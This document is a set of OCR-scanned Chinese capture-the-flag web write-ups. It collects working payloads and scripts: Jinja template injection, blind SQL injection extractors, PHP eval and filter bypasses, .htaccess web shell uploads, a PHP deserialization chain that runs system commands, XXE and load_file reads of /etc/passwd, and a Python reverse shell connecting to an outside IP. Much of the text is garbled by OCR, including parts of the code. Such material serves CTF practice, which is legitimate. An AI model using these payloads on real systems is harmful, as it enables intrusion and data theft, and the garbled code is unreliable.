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[WesternCTF2018]shrine

import flask
import os

app = flask.Flask(__name__)
app.config[ 'FLAG'] = os.environ.pop('FLAG")
@app.route('/")
def index():
return open(__file_ ).read()
@app.route('/shrine/")
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '").replace("')', '")
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))

if _name__ == '__main__':

app.run(debug=True)

Ishrine/# 4% T A DASAREN
http://c5d52eaf-29bb-49b6-81fc-c82fel8f6826.node3.buuoj.cn/shrine/{{1+1}}
ERE M T —AN 4 RFLAGHIconfig

{HEZ Bifconfig. selffE¥FiE G & #has, A LiREURE

pythonpd B i
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url_for

/shrine/{{url_for.__globals_ }}

/shrine/{{url_for.__globals__ ['current_app'].config}}

get flasher_messages

/shrine/{{get_flashed_messages.__globals__ ['current_app'].config}}

[SWPU2019]Web1
JTEAAZEN, HbaniE TR, REEHE5ISEAN

1 [/ BB EHIERE
1 /BRI ERELER

1158 2 4 L 38

H¥

SR/ E- TN Y

order bys&or, tikbanT , A LA group byft#

-1'/**/group/**/by/**/22,"'1

BAEH
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, ' 22
mysgqlinnodb_table_stats

https://mariadb.com/kb/en/library/mysqlinnodb_table_stats/

-1'union/**/select/**/1, (select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,1
0,11,12,13,14,15,16,17,18,19,20,21, ' 22

T BEN
SRR
https://www.jianshu.com/p/dc9af4ca2d06

https://www.anquanke.com/post/id/193512

-1'union/**/select/**/1, (select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**
/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, '22

[GXYCTF2019]BabysQli

select * from user where username = '$name'’

union select& #l /] f1H =47 B


https://mariadb.com/kb/en/library/mysqlinnodb_table_stats/
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Burp Intruder Repeater Window Help
[Target [ Proxy I Spider I Scanner I Intruder TRepeate: T Sequencer T Decoder T Comparer [ Extender I Project options [ User options TAIerts 1
1 = |
Go Cancel < |v > | Target: http://05e3e75d-12f1-4d66-9a0c-Tcf347b61515.node3.buuoj.cn | || 7
Request Response
J Raw T Params I Headers I Hex 1 J Raw T Headers I Hex I HTML T Render 1
POST /search.php HTTP/Ll.1 i HTTE/Ll.1 200 OK "
Host: 05=3e75d-12fl-4déé-5a0c-7cf347hel515. . nodes . buucj.cn P Server: openresty o
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win£4; =£4; rv:74.0) Date: Wed, 02 Apr ZO0Z0 0O7:07:04 GMT
Gecko/20100101 Firefox/74.0 Content-Type: text/html
Aocept: Content-Length: ZZ8
text/html, application/xhtml+xml, application/xml; q=0.9, imags/webp Connsction: close
S/ rrg=0.8 Vary: Accept-Encoding
Accept-Language: ¥-Powered-By: PHF/5.3.29
zh-CH, zh; gq=0.8, zh-TW; gq=0.7, zh-HE; gq=0.5, en-US;g=0.3,en;qgq=0.2
Content-Type: application/x-www-form-urlencodsd <! —-MMEFM4ZZ2KSHDASEDNE TVUSSKO0ZRFGOQRRMMEFMe EJJE
Content-Length: 38 SGEWSYTINES S CWPJNFQS TVLFLTCRCTIQYGOSTEETZVEVER
Origin: NREFHOPJE —->
http://05e3275d-12f1-4dE6-9a0c-Tef347ThEL515. node3 .buuoj . cn <meta http-equiv="Content-Typ="
Connection: close content="text/html; charset=utf-8" />
Feferer: <title>*Do you know who am I?</title>
http://0523e75d-12f1-4dee-%alc-Tcf347hE1515. node3 _buuo]j.cn/
Upgrade-Insecure-ERequests: L1
name=admin' union select 1,2,3#&pw=admin wrong pass!
- -
v v
? < + = Type a search fenr 0 matches ? < + = 3 search ferrr 0 matches
Done 415 bytes | 76 millis
Sl 2y
J AR
<?php

if($row[ 'username' ]=="admin’){
if($row[ 'password’ ]==md5($pass)){
echo $flag;
}else{
echo “wrong pass!”;

}
else{ echo “wrong user!”;}
?>

AR R
SEANBEAFER, REEARSHWE BN HE

fA\admin, G Amd5(123456), RN HEMySQL B #t 24 fadmin, 123456 F F

[l 5 I 123456 5 19217 B 3, B AT LAGRa KR 1

name="union select 1,"admin","el@adc3949ba59abbe56e057f201883e" ; #&pw=123456




E Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry_Lau - Unlimited by mxcx@fosec.vn - a x
Burp Intruder Repeater Window Help

[Target [ Proxy I Spider I Scanner I Intruder TRepeate( T Sequencer T Decoder T Comparer [ Extender I Project options [ User options T.i'«.lerts 1

liJ Cancel M > |v Target: http://05e3e75d-12f1-4d66-9a0c-7cf347b61515.node3.buuoj.cn @ BJ
Request Response
J Raw T Params I Headers I Hex 1 J Raw T Headers I Hex I HTML T Render 1
POST /search.php HTTP/Ll.1 A HTTE/Ll.1 200 OK Y
Host: 05=3e75d-12fl-4déé-5a0c-7cf347hel515. . nodes . buucj.cn a Server: openresty -
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win£4; =£4; rv:74.0) Date: Wed, 02 Apr ZO0Z0 O7:1&:53 GMT
Gecko/20100101 Firefox/74.0 Content-Type: text/html
Aocept: Content-Length: I58
text/html, application/xhtml+xml, application/xml; q=0.9, imags/webp Connsction: close
S/ rrg=0.8 Vary: Accept-Encoding
Accept-Language: ¥-Powered-By: PHF/5.3.29
zh-CH, zh; gq=0.8, zh-TW; gq=0.7, zh-HE; gq=0.5, en-US;g=0.3,en;qgq=0.2
Content-Type: application/x-www-form-urlencodsd <! —-MMEFM4ZZ2KSHDASEDNE TVUSSKO0ZRFGOQRRMMEFMe EJJE
Content-Length: 74 SEEWSYTIWES S CWEJNFOS TVLFLTCS CTIQYGOSTERTZVEVER
Origin: NREFHOPJE —->
http://05e3275d-12f1-4dE6-9a0c-Tef347ThEL515. node3 .buuoj . cn <meta http-equiv="Content-Typ="
Connection: close content="text,/html; charsec=utf-8" />
Feferer: <title>*Do you know who am I?</title>

http://0523e75d-12f1-4dee-%alc-Tcf347hE1515. node3 _buuo]j.cn/
Upgrade-Insecure-ERequests: L1

name='union select flag{5347a49a-5069-4b38-a7f2-5604d2b854a5a}
L, "admin"™, "el0adc3949bas9abkhe 5620572 0E883e"#Epw=123456

e -

v v

? < + = Type a search ferm 0 matches ? < + > 0 matches
Done 447 bytes | 148 millis

[GYCTF2020]Blacklist
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1';show tables;




Black list is so weak for you,isn't it

&3 11" show tables; ‘ 2irEn

array(2) {

[0l=>

string(l) “1”

[1]1=>

string(7) “hahahah”
}

arrav (1) {
[0]=>
string(8) “FlagHere”

}

arrav (1) {
[0]=>
string(5) “words”

}

1';show columns from "~ FlagHere';

Black list is so weak for you,isn't it

1';show columns from | Y=y 13)

i

array(2) {

[0]=>

string (1) “1”

[1]=>

string(7) “hahahah”
}

array(6) {
[0]=>
string(4) "flag”
[1]=>
string(12) “varchar (100)”
[2]=>
string(2) "NO”
[3]=>
string (0) *”
[4]=>
NULL
[5]=>
string (0) *”

}

1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;



Black list is so weak for you,isn't it

i

1';HANDLER FlagHere (| 1235251

array(2) {
[0]=>
string(l) "1”
[1]=>
string(7) “hahahah”

array (1) {

[0]=>

string(42) "flag{5689e313-31d0-4030-a991-387a503ea938}”
1
!

<?php
error_reporting(®0);
[/ RARBRER S, AHERREEER T Eflag
if(lisset($_GET['c'])){
show_source(__FILE_ );
}else{
//BIF c=20-1
$content = $ GET['c'];
if (strlen($content) >= 80) {
die("KKTALE");
}
$blacklist = [" ', "\t', ‘\r', ‘\n',"\"", ""', ', '\[', "\]1'I;
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("ENEMATHFEROFH");

¥

/1% R EEHhttp: //www.w3school. com.cn/php/php_ref _math.asp

$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', ‘'atan', ‘'atanh', 'base_convert', 'bindec',
ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expml’', 'floor', 'fmod', 'getrandmax', 'h
exdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg value', 'logl®@', 'loglp', 'log', 'max', 'min', 'mt_g
etrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', ‘'sqrt', 'sr
and', 'tan', 'tanh'];

preg _match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_B-9\x7f-\xff]*/', $content, $used_funcs);

foreach ($used_funcs[@] as $func) {

if (!in_array($func, $whitelist)) {
die("ENEMAFTTFERENRL");

}
[/ BRERER

eval('echo '.$content.';");



o scandir(): REIHEE H FH S0 E FH A
e base_convert(): fEAEE ]2 M HEF
e dechex(): Tkl H N+ 7Nt
e hex2bin(): IE4/SEEHIF AT 5 B AASCIFERF
e var_dump(): FHZEMHERER
o readfile(): #— /N30, EREBEEAN—ANXHF BN HEN . EHRI, WIREMSCHFRANRFTEH. &HRE, R
[B] false
AR
PHP ] DA bR S 42 il i 75 B 7 BB A — NE R, A5 R E )70 R

$function = "sayHello";
$function();

getallheaders

B TEELIERFAE LPERRHA, KUREFALSE

payload: “pi= pgse onvert.pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
PE VLR T LATE headerdiB \cat flag.php #iiflag, ERAHBEH R

B %payload:

http://833b3035-65c8-45f0-aef4-8214e5f05661.node3.buuoj.cn/?c=$pi=(is_nan”(6).(4)).(tan”(1).(5));$pi=$$pi;$pi{0}
($pi{1})&0=system&l=cat%20/flag

[CISCN2019 & 3% Day2 Webl]Easyweb

robots.txt:

User-agent: *
Disallow: *.php.bak

R%&AEimage. php . bak 3k B ALt 55



< ?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$ GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str‘_r‘eplace(ar‘r‘ay("\\0","%00", ||\\| ||, " ||), " ",$id);
$path=str_replace(array("\\0","%00","\\"'",""'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header ("Content-Type: image/jpeg");
readfile($path);

¥iitpayload:

image.php?id=\0%27&path=%200r%20length((select group_concat(password) from users))=20%23

BAELKE 200, M bsqlEEMA

import requests
import time

url = r'http://13f181de-393c-4dc4-b511-cf4ab608c75f.node3.buuoj.cn/image.php’

result =

for x in range(9, 20):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
payload = " or id=if(ascii(substr((select password from users limit 1 offset 0),%d,1))>%d,1,0)#" % (x, m
id)
params = {
'id':"\\\\e"',
'path’ :payload
}
response = requests.get(url, params=params)
time.sleep(2)
print(payload)
if b'JFIF' in response.content:
low = mid + 1
else:
high = mid
mid = (low + high) // 2

result += chr(int(mid))
print(result)



" 309R032F46befTOLAIS

og id=if (ascii (substr ((select password from users limit 1 offset 0), 20, 1)1>79, 1
Lo #
og id=if (ascii (substr ((select password from users limit 1 offset 0), 20, 1313255, 1
Lo #
og id=if (ascii (substr ((select password from users limit 1 offset 0), 20, 131267, 1
Lo #
og id=if (ascii (substr ((select password from users limit 1 offset 0), 20, 131261, 1
Lo #
og id=if (ascii (substr ((select password from users limit 1 offset 0), 20, 1313258, 1
Lo #
og id=if (ascii (substr ((select password from users limit 1 offset 0), 20, 13157, 1
Lo #
og id=if (ascii (substr ((select password from users limit 1 offset 0), 20, 131256, 1
Lo #
3098032 46bef TORGIES
BEME FAE—sk B A BRI 2 BEANEE
W E 5 phpidt 38
PHPFT B 58 #5 % Bl short_open_tag=on I, BJLUMEH <2=¢ 2> #iH B E
filename="<?=@eval($_POST['a']);?>"
E Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry_Lau - Unlimited by mxcx@fosec.vn - a >

Burp Intruder Repeater Window Help

[ Target [ Proxy

I Spider I Scanner I Intruder T Repeater T Sequencer T Decoder T Comparer [ Extender I Project options [ User options T-« erts 1

Go Cancel < |v > v

Request

J Raw T Params I Headers I Hex 1

Response

J Raw T Headers I Hex I HTML T Render 1

Target: http://13f181de-393c4ded-b511-cfab608c75f.node3.buuoj.cn @J EJ

Done

POST /upload.php HTTE/L.1 [a

Host: 13f181de-393c-4decd4-b511l-cf4abel8c75f . node3 . buucj.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; =£4; rv:75.0)

Gecko/20100101 Firefox/75.0

Aocept:

text/html, application/xhtml+xml, application/xml; q=0.9, image/ webp

SRS g=0.8

Aocept-Languages:

zh-CH, zh;=0.8, eh-TW;=0.7, zh-HE; q=0.5,en-US;q=0.3,en;q=0.2

Content-Type: multipart/form-data;

boundary=——————— e e 1808E0138399141291138648118¢

Content-Length: 229907

Origin:

http://13f181lde-393c—4ded-b511-cf4abe08c75f . node3 . buuoj . cn

Connection: close

Feferer:

http://13£181d=e-3593c-4dcd4-b511-cf4abe08c75f . node3 _buuo]j . cn/user.

php

Cookie: username=2ESFDx4%3D

Upgrade-Insecure-Eegquests: 1

————————————————————————————— 1808E£0138359141291138648118¢6

Content-Disposition: form-data; name="file":

filename="<?=feval (§_FPOST['a']);?>"

Content-Type: image/Jjpeg

O0000OJF T FO000000000000CO00000000000000

O

000000000000000%000#000 , #&') *)00-0- (0% () (O0O0COOOO h

u] v
? < + = Type a search ferm 0 matches

HTTE/Ll.1 200 QK i
Server: openresty P
Date: Fri, 10 Apr Z0Z0 0O4:13:15 GMT
Content-Type: text/html
Content-Length: 157
Connection: close
Vary: Accept-Encoding
¥-Powered-By: PHP/5.5.9-lubuntu4.zg9
I logged the file name you uploaded to
1ogsVupload.DDaeDBlcdﬁ7dd6hhe353accc?d9eccaﬁ.1
og.php.
LOL<=script>setTimeont (' location.href="user.php
"L3000) </ scripts
-
v
? < + = Type a search term 0 matches

¥TJE—T, 7R EFHKEIflag

[V&N2020 /A FF 3% JHappyCTFd




CVE-2020-7245 CTFd S8:%

o HIMEMBIERHERIEM —E52EFEZH T BHERKIKS
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o HEXM, Madmin K SMEEBNFLESR, FHflag
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Flags Files Tags Hints
Files
File
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AIEEI

Attach multiple files using Control+Click or Cmd+Click

CVE-2020-7245 CTFd v2.0.0-v2.2.2 account takeover4tf

[GWCTF 2019 14 1R i3 2

check.php

Requirements

Settings



https://www.colabug.com/2020/0204/6940556/amp

<?php

#HEXARMEEFERL! AFE!

header ("Content-Type: text/html;charset=utf-8");
session_start();

if(!isset($_SESSION[ 'seed'])){

$_SESSION[ 'seed']=rand(0,999999999);

}

mt_srand($_SESSION[ ‘seed']);
$str_longl = "abcdefghijklmnopgrstuvwxyz0123456789ABCDEFGHIIKLMNOPQRSTUVIWXYZ";
$str="";
$lenl1=20;
for ( $i = 0; $i < $lenl; $i++ ){
$str.=substr($str_longl, mt_rand(0, strlen($str_longl) - 1), 1);
}
$str_show = substr($str, 0, 10);

echo "<p id='pl1l'>".$str_show."</p>";

if(isset($_POST[ 'num'])){
if($_POST[ 'num' J===$str){x
echo "<p id=flag>i#, MEMAHREEATIR, LHIRFlag{xxxxxxxxx}</p>";

}
else{

echo "<p id=flag>¥&H+ M, HiXiAmE</p>";
}

}

show_source("check.php");

phpth BE L%

strl="abcdefghijklmnopgrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ '
str2="'Fmajo100xE"
str3 = stri1[::-1]
length = len(str2)
res=""
for i in range(len(str2)):
for j in range(len(strl)):
if str2[i] == stri[j]:
res+=str(j)+' '+str(j)+' '+'0'+" '+str(len(strl)-1)+"' '
break
print res

B2y BEHLEUT 51

41 41 0 61 12 12 0 61 © © © 61 9 9 0 61 26 26 O 61 27 27 O 61 26 26 O 61 26 26 0 61 23 23 0 61 40 40 0 61

php_mt_seed#l—T, 18 BIFEHLEFTF 4 468879187

root@kali:~/tools/php_mt_seed-4.0# ./php_mt_seed 41 41 0 61 12 12 061 0 0 @ 61 9 9 0 61 26 26 0
61 27 27 0 61 26 26 0 61 26 26 @ 61 23 23 0 61 40 40 0 61

Pattern: EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXA
CT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62

Version: 3.0.7 to 5.2.0

Found @, trying OxTc@0QO000 - OxFffffffff, speed 664.8 Mseeds/s

Version: 5.2.1+

Found @, trying 0x1a@00000 - Ox1bffffff, speed 49.4 Mseeds/s
seed = Oxlaabbbed = 447134701 (PHP 7.1.0+)

Found 1, trying 0xTe@0Q000 - Oxffffffff, speed 56.6 Mseeds/s
Found 1

root@kali:~/tools/php_mt_seed-4.0#

https://blog.csdn.neth



<?php
mt_srand(447134701);

$str_longl = "abcdefghijklmnopqgrstuvwxyz@0123456789ABCDEFGHIIKLMNOPQRSTUVIWXYZ" ;

$str="";
$1len1=20;
for ( $i = 0; $i < $lenl; $i++ ){

$str.=substr($str_longl, mt_rand(0, strlen($str_longl) - 1), 1);

}

echo $str;
?>

EEIR AT

<?php
$dbuser="root";
$dbpass="root";

function safe($sql){
HEOT I AS RBEEARILIE

$blackList = array(' ','||','#','-"',";"','&",'+','or','and", "’

','*' 'into', 'union', 'load_file', 'outfile','./");
foreach($blackList as $blackitem){
if(stripos($sql,$blackitem)){
return False;

}

return True;
¥
if(isset($_POST['id'])){
$id = $_POST['id'];
Yelse{
die();
¥
$db = mysql_connect("localhost",$dbuser,$dbpass);
if(!$db){
die(mysql_error());
}
mysql_select_db("ctf",$db);

if(safe($id)){

R ,'insert','group', 'limit', 'update’, 'delete

$query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");

if($query){
$result = mysql_fetch_array($query);

if($result)q{
echo $result['content'];
}else{

echo "Error Occured When Fetch Result.";

}
}else{

var_dump($query);
}
}else{
die("SQL Injection Checked.");



FEEAN
https://www.jianshu.com/p/27df5c67157c

17171 //3R[EL
170”1 //iR[Ele

sqlEHEM A&

import requests
import time

url = "http://83b5c157-8a59-4ee0-b0B7d-90e16a32f156.node3.buuoj.cn/index.php"

result = "'
for i in range(40, 50):
for j in range(32, 127):
payload = '17(cot(ascii(substr((select(flag)from(flag)),"' + str(i) + ',1))>" + str(j) + ")) 1=1"
print(payload)
r = requests.post(url, data = {'id': payload})
time.sleep(2)

if r.text.find('girl') == -1:
result += chr(j)
print(j)

break

print(result)

[ % APk 2019]FinalsQL
RREA



import re
import requests
import string
import time

url = "http://88558fb8-9ead-4106-b960-9cOedef5aecb.node3.buuoj.cn/search.php”

flag = "'
def payload(i,j):

# sql = "1~(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)~1"%(i
»3) HBEEAL T

# sql = "1~(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)="'
geek'),%d,1))>%d) 1"%(1,7) #RL

# sql = "1~(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="F
1nally')),%d,1))>%d)*1"%(i,]) #5314

sql = "17(ord(substr((select(group_concat(password))from(Finally)),%d,1))>%d)~1"%(i,])
data = {"id":sql}

r = requests.get(url,params=data)

time.sleep(2)

# print (r.url)

if "Click" in r.text:

res =1
else:
res = 0
return res
def exp():

global flag
for i in range(1,10000) :

print(i,':")
low = 31
high = 127

while low <= high :
(low + high) // 2
res = payload(i,mid)

mid

if res :
low = mid + 1
else :
high = mid - 1
f = int((low + high + 1)) // 2
if (f == 127 or f == 31):
break
# print (f)
flag += chr(f)
print(flag)

exp()
print('flag="',flag)

?_=${%fekfekfekter%alkbo%bb%kaa}{%fe}();8&%fe=get_the_flag



nginx: .user.ini
apache: .htaccess

.htaccess FAERIBHEABE FHGIF89a%s X fFk FGeitexif imagetype, B AXEE BARAE H4E T, 1H.htaccess XXHTIEAER

#tdefine width 1337

#define height 1337

AddType application/x-httpd-php .abc

php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_76d9f00467e5eeb6
abc3ca60892ef304e/shell.abc”

shell.abc

GIF89a12PD9waHAgZXZhbCgkX@dFVFsnYyddKTs/Pg==

GIF89a)EHMI122 N T #ME8FT, Wi base6ddmid it

import requests
import base64

htaccess = b"""

#define width 1337

#define height 1337

AddType application/x-httpd-php .abc

php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_76d9f00467e5ee6
abc3ca60892ef304e/shell.abc”

shell = b"GIF89al2" + base64.b64encode(b"<?php eval($_REQUEST['a']);?>")

url = "http://e9059d28-5f7a-44fc-801f-e76740eadd91.node3.buuoj.cn/?_=${%fekfekfekfer%al%bo%bb%kaa}{%fe}();&%fe=ge
t_the_flag"

files = {'file':('.htaccess',htaccess, 'image/jpeg')}

data = {"upload":"Submit"}

response = requests.post(url=url, data=data, files=files)
print(response.text)

files = {'file':('shell.abc',shell, "image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)

open_basedir&php.inid K —A N B ik

B ALK P U 18 SO 13 30 3 [ R 1 7E 8 e P X

f&%open_basedir=/home/wwwroot/home/webl/:/tmp/,

R4 Bitwebd V5 16 AR 5523 59 FH P B TS 13K BUIR 55 %% _E B T /home /wwwroot /home /webl /1 /tmp /X FiA™ B F LASMHI S04
1B Fopen_basedirig & KM H|Ehr BRI, TARBFRE.

25k : & "open_basedir = /dir/user", MAHZF "/dir/user" F1 "/dir/userd"#HSRT LAV K.

B LA SR B U R R B E N TR B B %, ERARIRERERL .

Payload

http://e9059d28-5f7a-44fc-801f-e76740eadd91.node3.buuoj.cn/upload/tmp_76d9f00467e5eeb6abc3cab0892ef304e/shell.abc
?a=chdir(%27img%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%
27..%27);ini_set(%27open_basedir%27,%27/%27) ;print_r(scandir(%27/%27));



http://e9059d28-5f7a-44fc-801f-e76740eadd91.node3.buuoj.cn/upload/tmp_76d9f00467e5ee6abc3cab60892ef304e/shell.abc
?a=chdir(%27img%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%
27..%27);ini_set(%27open_basedir%27,%27/%27) ;print_r(file_get_contents(%27/THis_Is_tHe_ F14g%27));

SEEE
https://www.cnblogs.com/wangtanzhi/p/12250386.html
[GXYCTF2019]BabyUpload

.htaccess

SetHandler application/x-httpd-php

shell.jpg

GIF89a
<script language="php">eval($_POST['a']);</script>

[ 55 4F 2018]Comment
gitEImkE



<?php
include "mysql.php";
session_start();

if($_SESSION[ 'login'] != 'yes'){
header("Location: ./login.php");
die();

}

if(isset($_GET['do'])){

switch ($_GET['do'])

{

case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);

$sql = "insert into board
set category = '$category’,
title = '$title’,
content = '$content'";

$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);

$sql = "insert into comment
set category = '$category’,
content = '$content’,

bo_id = '$bo_id'";
$result = mysql_query($sql);
}

header("Location: ./comment.php?id=$bo_id");

break;
default:

header("Location: ./index.php");
}
}
else{

header("Location: ./index.php");
?>

BHAIBERAM, BIEER%E Nzhangweil666

$category = addslashes($_POST['category']);
$title = addslashes($ POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category’,
title = '$title’,
content = '$content'";

$category = mysql_fetch_array($result)['category'];



category FEIHAKIRHEHEAT 7L I8, TR RIGIHEHFBASIE, KEER T ZKEAN
category: 123',content=user(),/*
HE: */#
$sql = "insert into comment
set category = '123',content=user(),/*',

content = "*/#',
bo_id = '$bo_id'";

*[3#

&

= root@localhost
H=
SQLisE B 3L 4

Miload_file() R¥uHATERE, EAERKAZDOCHIFREIHFNENTRFE. BEHLRE, CHBIAT RS EN
£, wgidg e e BB, THMAAFILERIR. 23X A F WA, EXXHRAEBH/NTmax_allowed_packet.
RZFAFEBRTCEERR, FOVRTE K42 — A2, REERE NULL.

#H/etc/passwd

123", content=(select(load_file('/etc/passwd'))),/*

$H .bash_history

123',content=(select(load_file('/home/www/.bash_history'))),/*

BHL.DS_Store

123',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*

L flag

123',content=(select hex(load_file('/var/www/html/flag 8946elfflee3ed0f.php'))),/*

[V&N2020 A JF 3§ JCHECKIN



from flask import Flask, request
import os

app = Flask(__name_ )

flag file = open("flag.txt", "r")
# flag = flag file.read()

# flag_file.close()

#

# @app.route('/flag')

# def flag():

# return flag

## want flag? naive!

# You will never find the thing you want:) I think
@app.route('/shell")
def shell():
os.system("rm -f flag.txt")
exec_cmd = request.args.get('c")
os.system(exec_cmd)
return "1"

@app.route('/")
def source():
return open("app.py","r").read()

if _name__ == "__main__":
app.run(host='90.0.0.0")

nc¥iMr1234% 0, payloadfli F:

/shell?c=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("
174.2.1.129",1234));0s.dup2(s.fileno(),0);0s.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/
bash","-i"1);"

cat /proc/*/fd/*

https://www.smile.top/linux-%E5%8F%8D%E5%BC%BOshell%E6%96%BO%E6%B3%95

<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");

}
if(preg_match("/[A-Za-z0-9]+/",%code)){
die("NO.");
}
@eval($code);
}
else{

highlight_file(_ FILE_ );



phpinfo

${%FE%FE%FF%FFr%a0%b8%ba%ab }{%FF} () ; 8%FF=phpinfo

shell

code=${%fekfekfekter%alk%bo%bb%kaa}[ ] (${%fekfekfelfe%al%bo%bb%aa}[ 1);& =assert& =eval($_POST[%27a%27])

disable_functions

@ +Ews1 - | X
AntSword B8 HFO HEif

4 HH o >~ 111.73.46.229

O

ar/wew/html

: Linux 99%a49£f01d

: www-data M %57 disable_functions-111.73.46.229
(*) WA ashelp EEFIMGS i
( : © EiFRS -
i Shell#tE
7.0
64

Linux

[var/www/htn

Reference

* AntSword-Labs/bypass disable functions/7

» Bug #72530 Use after free in GC with Certain Destructors

<?php
error_reporting(0);

class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;

$this->store = $store;
$this->expire = $expire;

public function cleanContents(array $contents) {



$cachedProperties = array_flip([
'path', 'dirname', 'basename’', ‘'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', ‘'type’,

1;

foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);

return $contents;

public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);

return json_encode([$cleaned, $this->complete]);

public function save() {
$contents = $this->getForStorage();

$this->store->set($this->key, $contents, $this->expire);

public function _ destruct() {
if (!$this->autosave) {
$this->save();

class B {

protected function getExpireTime($expire): int {
return (int) $expire;

public function getCacheKey(string $name): string {
/] EGRAE A BEAL
$cache_filename = $this->options['prefix'] . uniqid() . $name;
if(substr($cache_filename, -strlen('.php')) === ".php') {
die('?");
}

return $cache_filename;

protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;

$serialize = $this->options['serialize’'];

return $serialize($data);

public function set($name, $value, $expire = null): bool{

d+hic \umitATimAac i



PULIILD ™ /ZWI LLT I LIITDTT,

if (is_null($expire)) {
$expire = $this->options['expire'];

$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);

$dir = dirname($filename);

if (lis_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// BRI

$data = $this->serialize($value);

if ($this->options['data_compress'] && function_exists('gzcompress')) {
/1B B4
$data = gzcompress($data, 3);

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;

$result = file put_contents($filename, $data);

if ($result) {
return $filename;

}
return null;
}
}
if (isset($_GET['src']))
{
highlight_file(__FILE_ );
}

$dir = "uploads/";

if (!is_dir($dir))
{
mkdir($dir);

}
unserialize($_GET["data"]);



<?php
class A{
protected $store;
protected $key;
protected $expire;
public $cache = [];
public $complete = true;
public function __construct () {
$this->store = new B();
$this->key = '/../wtz.phtml';
$this->cache = ['path'=>"'a','dirname'=>"'"cat /flag > ./uploads/flag.php '];

}
}
class B{
public $options = [
'serialize' => 'system',
'prefix' => 'sssss',
1
}

echo urlencode(serialize(new A()));

//data=0%3A1%3A"A"%3A5%3A{s%3A8%3A"%00*%00store"%3B0%3A1%3A"B"%3A1%3A{s%3A7%3A"options"%3Ba%3A2%3A{s%3A9%3A"seri
alize"%3Bs%3A6%3A"system"%3Bs%3A6%3A"prefix"%3Bs%3A5%3A"sssss"%3B}}s%3A6%3A"%00*%00key " %3Bs%3A13%3A"%2F . . %2Fwtz.
phtml"%3Bs%3A9%3A"%00*%00expire"%3BN%3Bs%3A5%3A" cache"%3Ba%3A2%3A{s%3A4%3A"path"%3Bs%3A1%3A"a"%3Bs%3A7%3A"dirnam
e"%3Bs%3A32%3A" cat+%2Fflag+>+.%2Fuploads%2Fflag.php™ "%3B}s%3A8%3A"complete"%3Bb%3A1%3B}

5lal/uploads/flag.phpf8F|flag

<?xml version="1.0" encoding="utf-8"?>

<IDOCTYPE xxe [

<!ELEMENT name ANY >

<IENTITY xxe SYSTEM "file:///etc/passwd" >]>
<user><username>&xxe;</username><password>admin</password></user>



